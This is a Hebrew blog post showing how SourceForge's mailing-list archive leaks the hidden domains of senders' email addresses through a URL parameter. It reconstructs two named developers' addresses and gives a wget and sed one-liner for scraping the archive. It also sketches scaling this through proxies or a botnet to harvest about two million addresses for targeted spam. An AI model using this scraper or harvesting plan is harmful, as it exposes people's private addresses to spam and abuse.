נסתכל לדוגמה ברשימת התפוצה של Firebird. נניח ונרצה את כל הכתובות של החברים ברשימת התפוצה של Firebird, נפנה לארכיון המיילים של Firebird, אך נתקל בבעיה, sourceforge חכמים מספיק בשביל לא לפרסם את המיילים של כולם באינטרנט כצאן לטבח. למזלם של הספאמרים, sourceforge לא תיכננו עד הסוף, ולמען האמת הם מספקים דרך מאוד פשוטה (ברוב המקרים) לגלות מה הכתובת המלאה של השולח. יש לציין ששיטה זו לא עובדת תמיד, אלא "רק" ברוב הכמעט מוחלט של המקרים.

נתבונן רגע לעומק במעמקי ה"קוד" של העמוד, נתבונן לדוגמה בלינק שנתתי קודם מארכיון המיילים של Firebird: נבחר את המייל השלישי, זה נשלח ע"י "Adriano dos Santos Fernandes <adrianosf@gm…>". אנחנו רואים שהכתובת שלו מתחילה ב gm, (הערה: כולם משתמשים כיום ב gmail ככה שלא קשה לנחש שהכתובת האמיתית שלו היא gmail.com, למרות שהיא לא הייתה חייבת להיות, וזה יעבוד כמובן גם על כתובות של שרתי מייל שאנחנו לא מכירים) אבל אם נסתכל לעומק בלינק שמקשר לפוסט (בעמודה topic), נראה שם משהו מעניין, לדוגמה, במקרה שלנו, הלינק הוא:
http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&forum_name=firebird-devel
הפלא ופלא, השדה thread_name מסתיים ב gmail.com, מכך נסיק ששרת המייל ששלח את המייל הוא gmail.com ולכן הכתובת היא adrianosf ~-at-~ gmail.com.
נסתכל בשורה הבאה, מייל מאת Alexander Peshkoff <peshkoff@ma…>, אם נסתכל בלינק בעמודה topic, (לינק: http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&forum_name=firebird-devel) נראה שאותו שדה מסתיים הפעם ב @mail.ru, והרי זה לא מפתיע שזה מתאים לאימייל שלו שמתחיל ב: peshkoff@ma ולכן האימייל המלא שלו הוא peskoff ~-at-~ mail.ru.

החדים מביניכם בטח שמו לב שבמקרה השני, הלינק הכיל את כל הכתובת, ובמקרה הראשון לא. זה מתחבר לממה שאמרתי קודם, השדה הזה לא עקבי מספיק, (או לפחות לא מצאתי את החוקיות), ולכן זה לא עובד ב 100% מהמקרים, אבל ברוב המקרים שבדקתי, השדה הזה אכן מסתיים בשרת האיימייל ששלח את המייל, גם אם זה לא בהכרח השרת שיקבל את המיילים, זה בהחלט יכול לעזור. לדוגמה, לפעמים ב gmail הסיומת של השדה הזה תיהיה mail.google.com, אמנם אי אפשר לשלוח מייל ל adrianosf@mail.google.com (מהדוגמה הקודמת), אבל אפשר בהחלט לתרגם את זה בצורה קלה (הרי אם זה נפוץ מספיק אז אפשר לתרגם ידנית ובקלות להחליף את כל השדות).
זה גם מאוד פשוט לגנוב את המיילים האלה, לדוגמה, השורה הפשוטה הבאה שמתמשת ב wget וב sed (אמנם לא הכי נקי שאפשר, אבל החלט עושה את העבודה):

wget -q -O - http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel | sed -n -e 's/^.*<td width="50%"><a href="[^&]*%40\([^&]*\)[^"]*".*$/@\1/p' -e s'/^.*&lt;\([^&]*\)...&gt;.*/\1/p'

לוקחת עמוד ומחלצת ממנו את כל השרתים בשורה אחת (מתחילים ב @), ואת המייל (עד הקטע המצונזר) בשורה אחריה. להוסיף את התוצאות לdb פשוט (לדוגמה sqlite), ולכתוב סקריפט פרל קצר שיעבור בכל העמודים של כל ה ML ב sourceforge ויריץ עליהם את הסינון sed הזה, גם לא לוקח הרבה זמן. בקיצור, אנחנו יכולים, בקלות יחסית (עדיין צריך לזכור לא להציף את sourceforge ולהשתמש בפרוקסי\בוטנט) לקחת את כתובות האימייל של 2 מיליון אנשים טכנלוגיים (אולי יותר אולי פחות) ולהשתמש בהם בפרסום ממוקד באינטרנט.

כמובן שמתכנתים פחות טיפשים מהאדם הממוצע, ולכן מספר ה"קניות" פר מיילים תהיה נמוכה בהרבה מאשר ספאם ממוצע, אבל עדיין, מדובר פה בפרסום לקבוצה מאוד ממוקדת ועל 2 מליון כתובות.
בנוסף, הפוסט הזה לא עוסק בהשגת כתובות אימיילם בשביל ספאם, אלא בעובדה שהם כביכול ניסו להגן משליחת ספאם למשתמשים שלהם, אבל בעצם חשפו את האימייל שלהם בצורה עקיפה. כל זה יכל להפתר אם הם היו מתכננים מראש, וחושבים פעמיים לפני שהם שמים את שם השרת ששלח את המייל גלוי לכל. אמנם במקרה הזה, הנזק לא גדול, אבל זה מדהים איך אתר כזה גדול מרשה למידע לזלוג בכזו קלות, או בקיצור, לדעתי זו "פרצה" נחמדה.

תגובה אחת :, , , עוד...

מחפש משהו?

תשתמש בטופס למטה כדי לחפש באתר: